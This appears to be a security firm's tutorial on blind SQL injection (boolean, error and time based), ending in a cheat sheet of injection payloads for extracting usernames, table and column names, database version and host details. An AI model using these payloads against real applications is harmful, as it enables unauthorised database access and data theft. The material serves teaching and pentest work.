Blind SQL Injection

SQL injection is a vulnerability where an attacker could affect an application’s database query. This could allow an attacker to read arbitrary information from the database. But what if the result is not displayed directly on the screen? With blind SQL injections it is possible to retrieve information.

Sometimes it happens that the application is vulnerable to SQL injection, but does not return the result. In this case, it is more difficult for an attacker to retrieve information, because the result is not shown. We call this blind SQL injection, because we cannot see the data. The best-known example of a blind SQL injection is to enter ' or '1'='1 in both the username and the password in a login field. If the application is leaky, you are logged in because 1 is always equal to 1.

Boolean based blind SQL Injection

Depending on the response, we can deduce whether the check is successful: we are logged in or not. For this reason, we call this a boolean based blind SQL injection. Because we can determine whether or not a check succeeds, we can use this to our advantage. Although it is convenient that we can be logged in, it is also possible to retrieve information from the database.

The goal is to get different responses for “yes” and “no” answers to the question we asked the database about the content. Is there a user named “admin” in the users table? Does the users table even exist? We can even enumerate the entire database letter by letter. Are there usernames that start with an “a”? If this works with “aa”, and if this also works with “aaa”. If this does not work and we get an error, we try “aab”, until the check succeeds and we can try the next letter.

The following attacks could be used:

' or 1 in (select 1 from users where username like 'a%');--  #ingelogd, dus gebruiker met a% bestaat
' or 1 in (select 1 from users where username like 'a%');-- #ingelogd, dus gebruiker met a% bestaat
' or 1 in (select 1 from users where username like 'aa%');-- #ingelogd, dus gebruiker met aa% bestaat
' or 1 in (select 1 from users where username like 'aaa%');-- #foutmelding, dus geen gebruiker met aaa
' or 1 in (select 1 from users where username like 'aab%');-- #foutmelding, op naar aac

As you can see, quite a lot of attempts are needed to retrieve information. For a short username such as “alfred” we will in this way in the extreme case make 182 requests to find out. In practice, these attacks are often scripted, or SQLMap is used to execute these attacks out-of-the-box. Another possibility is Burp Suite, where different combinations can be carried out quickly with the Intruder.

In the example above, we have made the assumption that the table “users” exists and that there is a column “username” in it. While this is not uncommon, it can also be something completely different. We do this in the same way:

' or 1 in (SELECT 1 FROM information_schema.TABLES WHERE TABLE_NAME like "u%");--
' or 1 in (SELECT 1 FROM information_schema.TABLES WHERE TABLE_NAME like "us%");--

Error based blind SQL injection

Sometimes a vulnerable component does not return a response at all, or always the same response. In that case, we can try to get the application to generate another error. Many applications give a different response when a database error occurs. We can test this by trying the following:

' or 1=0;--
' or 1=1;--
' or 1=1/0;--

On the last attempt, the database will try to divide by 0, resulting in “Divide by zero error”. If the application gives a (different) error message for the last variant, and not for the previous two, then the application is vulnerable to an error-based blind SQL injection. This also allows us to extract information from the database. We do this as follows:

' or 1=(SELECT CASE WHEN (TABLE_NAME='users') THEN 1/0 ELSE 1 END FROM information_schema.TABLES);

Now, if we get an error, we know that the “users” table exists.

Time-Based Blind SQL Injection

In some cases, we do not get any errors back and database errors are handled neatly. As a result, we cannot deduce from anything whether our query was successful. The last resort for the attacker is the time-based blind SQL injection. An attacker could test for this by trying to:

' or sleep(5);--

If the application only responds after 5 seconds, then it is vulnerable to a time-based SQL injection. The attacker can now verify that the ‘users’ table exists in the following way:

' or 1=(SELECT CASE WHEN (TABLE_NAME='users') THEN SLEEP(5) ELSE 1 END FROM information_schema.TABLES)

If the table exists, then the application will only respond after 5 seconds and otherwise immediately.
Earlier we have seen that we can also enumerate tables, this works in the same way with time based SQL injections:

' or 1=(SELECT CASE WHEN (TABLE_NAME LIKE 'a%') THEN SLEEP(5) ELSE 1 END FROM information_schema.TABLES);--
' or 1=(SELECT CASE WHEN (TABLE_NAME LIKE 'b%') THEN SLEEP(5) ELSE 1 END FROM information_schema.TABLES);--
' or 1=(SELECT CASE WHEN (TABLE_NAME LIKE 'c%') THEN SLEEP(5) ELSE 1 END FROM information_schema.TABLES);--

We repeat the same steps as then, where we continue on a positive result. So if there is a TABLE_NAME LIKE “a%” we will see if there is a TABLE_NAME LIKE “aa%”, and so on. In the end, you have extracted all table names from the database in this way, by extracting them from the database letter by letter. Now that the table names are known, the column names of a table can be enumerated in the same way.

' or 1=(SELECT CASE WHEN (TABLE_NAME = 'users' AND COLUMN_NAME LIKE 'a%') THEN SLEEP(5) ELSE 1 END FROM information_schema.COLUMNS);--

If the column names of a table are known, specific data from the table can be requested.

' or 1=(SELECT CASE WHEN (username LIKE 'a%') THEN SLEEP(5) ELSE 1 END FROM users);--

This must be done for each table, column, and value in the database in order to reconstruct the database.

Attackers can almost always extract information from the database if it is vulnerable to SQL injection. It does not matter whether the result is shown or not. Do you want to know if your applications are safe for SQL injections? At the Website security check and the Pentest we check extensively for such vulnerabilities.

Blind SQL injection Cheat Sheet

Below is a number of handy cheat sheets to retrieve information from the database by means of a blind SQL injection.

Database version Boolean based:
AND 1 in (SELECT 1 FROM DUAL WHERE @@version LIKE "1%")

Error based:
AND 1=(SELECT CASE WHEN (@@version LIKE "1%") THEN 1/0 ELSE 1 END)
AND 1=(SELECT IF(@@version LIKE "1%", 1/0, 1));--

Time based:
AND 1=(SELECT CASE WHEN (@@version LIKE "1%") THEN SLEEP(5) ELSE 1 END)
AND 1=(SELECT IF(@@version LIKE "1%", SLEEP(5), 1))

Different ways of making a comment SELECT 1; #comment
SELECT 1;--comment
SELECT /*comment*/1;

The current database user Boolean based:
AND 1 in (SELECT 1 FROM DUAL WHERE user() LIKE "a%")
AND 1 in (SELECT 1 FROM DUAL WHERE system_user() LIKE "a%")

Error based:
AND 1=(SELECT CASE WHEN (user() LIKE "a%") THEN 1/0 ELSE 1 END)
AND 1=( SELECT CASE WHEN (system_user() LIKE "a%") THEN 1/0 ELSE 1 END)
AND 1=(SELECT IF(system_user() LIKE "a%", 1/0, 1))

Time based:
AND 1=(SELECT CASE WHEN (user() LIKE "a%") THEN SLEEP(5) ELSE 1 END)
AND 1=( SELECT CASE WHEN (system_user() LIKE "a%") THEN SLEEP(5) ELSE 1 END)
AND 1=(SELECT IF(system_user() LIKE "a%", SLEEP(5), 1))

Name of the current database Boolean based:
AND 1 in (SELECT 1 FROM DUAL WHERE database() LIKE "a%")

Error based:
AND 1=(SELECT CASE WHEN (database() LIKE "a%") THEN 1/0 ELSE 1 END)
AND 1=(SELECT IF(database() LIKE "a%", 1/0, 1))

Time based:
AND 1=(SELECT CASE WHEN (database() LIKE "a%") THEN SLEEP(5) ELSE 1 END)
AND 1=(SELECT IF(database() LIKE "a%", SLEEP(5), 1))

Database names Boolean based:
AND 1 in (SELECT 1 FROM information_schema.SCHEMATA WHERE SCHEMA_NAME LIKE "a%")

Error based:
AND 1=(SELECT CASE WHEN (SCHEMA_NAME LIKE "a%") THEN 1/0 ELSE 1 END FROM information_schema.SCHEMATA)

Time based:
AND 1=(SELECT CASE WHEN (SCHEMA_NAME LIKE "a%") THEN SLEEP(5) ELSE 1 END FROM information_schema.SCHEMATA)

Column names Boolean based:
AND 1 in (SELECT 1 FROM information_schema.COLUMNS WHERE TABLE_NAME = 'TABLE' AND COLUMN_NAME LIKE "a%")

Error based:
AND 1=(SELECT CASE WHEN (TABLE_NAME = 'TABLE' AND COLUMN_NAME LIKE "a%") THEN 1/0 ELSE 1 END FROM information_schema.COLUMNS)

Time based:
AND 1=(SELECT CASE WHEN (TABLE_NAME = 'TABLE' AND COLUMN_NAME LIKE "a%") THEN SLEEP(5) ELSE 1 END FROM information_schema.COLUMNS)

Table names Boolean based:
AND 1 in (SELECT 1 FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'DATABASE' AND TABLE_NAME LIKE "a%")

Error based:
AND 1=(SELECT CASE WHEN (TABLE_SCHEMA = 'DATABASE' AND TABLE_NAME LIKE "a%") THEN 1/0 ELSE 1 END FROM information_schema.TABLES)

Time based:
AND 1=(SELECT CASE WHEN (TABLE_SCHEMA = 'DATABASE' AND TABLE_NAME LIKE "a%") THEN SLEEP(5) ELSE 1 END FROM information_schema.TABLES)

Find a table by searching for a specific column Boolean based:
AND 1 in (SELECT 1 FROM information_schema.COLUMNS WHERE COLUMN_NAME = 'COLUMN NAME' AND TABLE_NAME LIKE "a%");

Error based:
AND 1=(SELECT CASE WHEN (COLUMN_NAME = 'COLUMN NAME' AND TABLE_NAME LIKE "a%") THEN 1/0 ELSE 1 END FROM information_schema.COLUMNS)

Time based:
AND 1=(SELECT CASE WHEN (COLUMN_NAME = 'COLUMN NAME' AND TABLE_NAME LIKE "a%") THEN SLEEP(5) ELSE 1 END FROM information_schema.COLUMNS)

IF and Case statements AND 1=(SELECT if(CONDITION, 1/0, 1));
AND 1=(SELECT CASE WHEN (CONDITION) THEN 1/0 ELSE 1 END FROM TABLE);

Alternative to special characters SELECT 0x4379626572416e74; #instead of CyberAnt

Sleep SELECT BENCHMARK(100000,MD5('CyberAnt')); #does time-consuming benchmark
SELECT SLEEP(5); #wait 5 seconds

Hostname and location database Boolean based:
AND 1 in (SELECT 1 FROM DUAL WHERE @@hostname LIKE "a%");
AND 1 in (SELECT 1 FROM DUAL WHERE @@datadir LIKE "a%");

Error based:
AND 1=(SELECT CASE WHEN (@@hostname LIKE "a%") THEN 1/0 ELSE 1 END)
AND 1=(SELECT CASE WHEN (@@datadir LIKE "a%") THEN 1/0 ELSE 1 END)
AND 1=(SELECT IF(@@datadir LIKE "a%", 1/0, 1))

Time based:
AND 1=(SELECT CASE WHEN (@@hostname LIKE "a%") THEN SLEEP(5) ELSE 1 END)
AND 1=(SELECT CASE WHEN (@@datadir LIKE "a%") THEN SLEEP(5) ELSE 1 END)
AND 1=(SELECT IF(@@datadir LIKE "a%", SLEEP(5) 1))

More information about our solutions

Do you want to make sure that your websites, apps or systems are free from vulnerabilities? Our experts are happy to work for you. For more information about our pentests or other services, please feel free to contact us via the contact form below. We are happy to tell you what we can do for you.

    Contact

    Randstad 22 147
    1316BM Almere

    info@cyberant.nl
    +31 (0)85 047 1590